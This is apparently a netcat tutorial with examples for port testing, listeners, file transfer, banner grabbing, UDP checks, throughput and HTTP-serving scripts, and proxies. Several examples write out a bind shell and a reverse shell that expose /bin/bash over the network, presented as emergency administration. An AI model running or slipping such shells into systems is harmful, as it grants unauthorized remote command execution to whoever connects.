nc (netcat) command is a versatile networking tool for reading and writing data across network connections. It can act as a client or server for TCP/UDP connections, making it invaluable for testing, debugging, and creating simple network services.
sudo apt install netcat or netcat-traditionalsudo yum install nc
Check if a port is open on a remote host:
# Test single port nc -zv google.com 80 # Test port range nc -zv 192.168.1.1 20-25 # Test multiple specific ports nc -zv example.com 22 80 443
Sample Output (port open):
Connection to google.com 80 port [tcp/http] succeeded!
Sample Output (port closed):
nc: connect to google.com port 81 (tcp) failed: Connection refused
Options explained:
-z: Zero I/O mode (scan without sending data)-v: Verbose outputUse Cases:
Start a TCP server listening on a port:
# Listen on port 8080 nc -l 8080 # Listen on specific interface nc -l -s 192.168.1.10 8080 # Listen and keep alive after disconnect nc -l -k 8080
On client side, connect to the server:
nc 192.168.1.10 8080
Type messages on either side and press Enter - they'll appear on the other end!
Options explained:
-l: Listen mode (act as server)-k: Keep listening after client disconnects-s: Specify source addressReal-World Uses:
Transfer files between systems without SSH/FTP:
On receiving system (destination):
nc -l 9999 > received_file.tar.gz
On sending system (source):
nc 192.168.1.50 9999 < file_to_send.tar.gz
With progress monitoring (using pv):
# Sender pv file.tar.gz | nc 192.168.1.50 9999 # Receiver nc -l 9999 | pv > received_file.tar.gz
Transfer entire directory:
# Receiver nc -l 9999 | tar xzvf - # Sender tar czvf - /path/to/directory | nc 192.168.1.50 9999
When to use:
Execute commands remotely (useful for troubleshooting):
On target system, create bind shell:
# Make bash available on port 5555 nc -l 5555 -e /bin/bash
From remote system, connect and execute commands:
nc target_host 5555
Now you can type commands that execute on target system.
Alternative without -e flag (OpenBSD nc):
# On listener mkfifo /tmp/pipe cat /tmp/pipe | /bin/bash 2>&1 | nc -l 5555 > /tmp/pipe # Connect from remote nc target_host 5555
Legitimate use case: Emergency access to a locked-down system in a controlled lab environment when SSH is unavailable.
Connect to services and retrieve version information:
# HTTP banner grab echo -e "HEAD / HTTP/1.0\r\n\r\n" | nc example.com 80 # SMTP banner nc mail.example.com 25 # SSH version nc example.com 22 # FTP banner nc ftp.example.com 21
HTTP example with full output:
$ echo -e "GET / HTTP/1.0\r\n\r\n" | nc google.com 80 HTTP/1.0 200 OK Date: Sun, 25 Jan 2026 15:30:00 GMT Server: gws Content-Type: text/html [... HTML content ...]
SMTP conversation:
$ nc smtp.example.com 25 220 smtp.example.com ESMTP Postfix HELO test.com 250 smtp.example.com QUIT 221 2.0.0 Bye
Uses:
Work with UDP protocol (connectionless):
# UDP listener nc -u -l 9999 # UDP client nc -u target_host 9999 # Test UDP port nc -u -zv 192.168.1.1 53 # Send single UDP packet echo "test data" | nc -u -w1 target_host 9999
DNS testing example:
# Send raw DNS query (test DNS server response) echo -n "test" | nc -u 8.8.8.8 53
Syslog testing:
# Send test syslog message echo "<13>Jan 25 15:30:00 test message" | nc -u -w0 syslog.server.com 514
Options for UDP:
-u: Use UDP instead of TCP-w seconds: Timeout for connectionsCommon UDP services to test:
Measure raw network speed between two hosts:
On receiver (faster disk or /dev/null):
# Receive data and discard (test network only) nc -l 9999 > /dev/null # Or receive to file nc -l 9999 | pv > /dev/null
On sender:
# Send zeros (test network only) dd if=/dev/zero bs=1M count=1000 | nc receiver_ip 9999 # With speed monitoring dd if=/dev/zero bs=1M count=1000 | pv | nc receiver_ip 9999
Complete throughput test script:
#!/bin/bash
# network-speed-test.sh
RECEIVER_IP=$1
PORT=9999
TEST_SIZE_MB=1000
if [ -z "$RECEIVER_IP" ]; then
echo "Usage: $0 <receiver_ip>"
exit 1
fi
echo "Testing network throughput to $RECEIVER_IP"
echo "Sending ${TEST_SIZE_MB}MB of data..."
START=$(date +%s)
dd if=/dev/zero bs=1M count=$TEST_SIZE_MB 2>/dev/null | nc -w 5 $RECEIVER_IP $PORT
END=$(date +%s)
ELAPSED=$((END - START))
THROUGHPUT=$((TEST_SIZE_MB / ELAPSED))
echo "Transfer completed in $ELAPSED seconds"
echo "Throughput: ${THROUGHPUT} MB/s"
Usage:
# On receiver nc -l 9999 > /dev/null # On sender bash network-speed-test.sh 192.168.1.100
Serve files over HTTP without installing a web server:
# Serve single file
while true; do nc -l 8080 < index.html; done
# More sophisticated version with proper HTTP headers
while true; do
echo -e "HTTP/1.1 200 OK\r\n\r\n$(cat file.html)" | nc -l 8080
done
Serve any file with proper headers:
#!/bin/bash
# simple-http-server.sh
PORT=8080
FILE=$1
if [ -z "$FILE" ]; then
echo "Usage: $0 <file_to_serve>"
exit 1
fi
echo "Serving $FILE on port $PORT"
echo "Access via: http://localhost:$PORT"
while true; do
{ echo -ne "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n";
cat "$FILE"; } | nc -l $PORT
done
Quick file download server:
#!/bin/bash
# Download link for a file
FILE="important-document.pdf"
PORT=9000
echo "File available at: http://$(hostname -I | awk '{print $1}'):$PORT"
echo "Press Ctrl+C to stop"
{ echo -ne "HTTP/1.1 200 OK\r\n";
echo -ne "Content-Type: application/octet-stream\r\n";
echo -ne "Content-Disposition: attachment; filename=\"$FILE\"\r\n\r\n";
cat "$FILE"; } | nc -l $PORT
Perfect for quickly sharing files in the office or home network!
Comprehensive network debugging script:
#!/bin/bash
# netcat-debug.sh - Network troubleshooting with netcat
TARGET_HOST=$1
TEST_PORTS=(22 80 443 3306 5432)
if [ -z "$TARGET_HOST" ]; then
echo "Usage: $0 <target_host>"
exit 1
fi
print_header() {
echo "========================================"
echo "$1"
echo "========================================"
}
print_header "Testing connectivity to $TARGET_HOST"
# 1. Test basic connectivity
print_header "ICMP Connectivity (ping)"
ping -c 3 $TARGET_HOST
# 2. Test common ports
print_header "Port Connectivity Tests"
for port in "${TEST_PORTS[@]}"; do
echo -n "Port $port: "
if nc -z -w 2 $TARGET_HOST $port 2>/dev/null; then
echo "✓ OPEN"
# Try to grab banner
timeout 2 nc $TARGET_HOST $port </dev/null 2>/dev/null | head -1
else
echo "✗ CLOSED/FILTERED"
fi
done
# 3. Test HTTP response
print_header "HTTP Response Test"
echo -e "GET / HTTP/1.0\r\n\r\n" | nc -w 2 $TARGET_HOST 80 2>/dev/null | head -10
# 4. Check connection timing
print_header "Connection Timing"
for i in {1..5}; do
TIME=$(time ( nc -z -w 1 $TARGET_HOST 80 ) 2>&1 | grep real | awk '{print $2}')
echo "Attempt $i: $TIME"
done
# 5. Test UDP connectivity (DNS)
print_header "UDP Test (DNS on port 53)"
if nc -u -z -w 2 $TARGET_HOST 53 2>/dev/null; then
echo "UDP port 53: Appears reachable"
else
echo "UDP port 53: Not reachable (may be normal for UDP)"
fi
print_header "Troubleshooting Complete"
Usage:
bash netcat-debug.sh example.com
Create port forwarding and simple proxies:
Simple port forwarding:
# Forward local port 8080 to remote port 80 mkfifo /tmp/pipe nc -l 8080 < /tmp/pipe | nc remote_host 80 > /tmp/pipe
Reverse shell (for remote administration in emergencies):
# On your control machine (listener) nc -l 4444 # On remote machine (connects back) nc your_ip 4444 -e /bin/bash
Chat server with multiple clients:
#!/bin/bash
# Simple chat server
PORT=9999
FIFO="/tmp/chat_fifo"
mkfifo $FIFO
trap "rm -f $FIFO" EXIT
echo "Chat server started on port $PORT"
while true; do
nc -l $PORT < $FIFO | tee -a chat.log > $FIFO
done
Connection broker/proxy:
#!/bin/bash
# connection-proxy.sh - Route connections through intermediate host
LOCAL_PORT=8080
REMOTE_HOST=internal.server.com
REMOTE_PORT=80
echo "Proxying :$LOCAL_PORT -> $REMOTE_HOST:$REMOTE_PORT"
while true; do
nc -l $LOCAL_PORT -c "nc $REMOTE_HOST $REMOTE_PORT"
done
Load balancer simulation:
#!/bin/bash
# simple-load-balancer.sh
BACKENDS=("192.168.1.10:80" "192.168.1.11:80" "192.168.1.12:80")
LOCAL_PORT=8080
CURRENT=0
while true; do
BACKEND=${BACKENDS[$CURRENT]}
HOST=$(echo $BACKEND | cut -d: -f1)
PORT=$(echo $BACKEND | cut -d: -f2)
echo "Routing to $BACKEND"
nc -l $LOCAL_PORT -c "nc $HOST $PORT"
# Round-robin
CURRENT=$(( (CURRENT + 1) % ${#BACKENDS[@]} ))
done
| Option | Description | Example |
|---|---|---|
-l |
Listen mode (act as server) | nc -l 8080 |
-p port |
Specify source port | nc -p 5555 host 80 |
-u |
Use UDP instead of TCP | nc -u host 53 |
-v |
Verbose output | nc -v host 80 |
-z |
Zero-I/O mode (scanning) | nc -zv host 20-25 |
-w seconds |
Timeout for connections | nc -w 5 host 80 |
-k |
Keep listening after disconnect | nc -l -k 8080 |
-n |
No DNS resolution | nc -n 192.168.1.1 80 |
-e program |
Execute program after connect | nc -l -e /bin/bash 8080 |
-s address |
Specify source address | nc -s 192.168.1.10 host 80 |
| Task | Command |
|---|---|
| Test if port is open | nc -zv host 80 |
| Create simple chat | nc -l 8080 / nc host 8080 |
| Transfer file | nc -l 9999 > file / nc host 9999 < file |
| Banner grabbing | echo "" | nc host 80 |
| Port scan range | nc -zv host 1-1000 |
| UDP test | nc -u -zv host 53 |
| Simple web server | while true; do nc -l 80 < index.html; done |
| Scenario | Server (Listener) | Client |
|---|---|---|
| Chat | nc -l 8080 |
nc host 8080 |
| File Transfer | nc -l 9999 > file |
nc host 9999 < file |
| Port Test | nc -l 8080 |
nc -zv host 8080 |
| UDP Communication | nc -u -l 9999 |
nc -u host 9999 |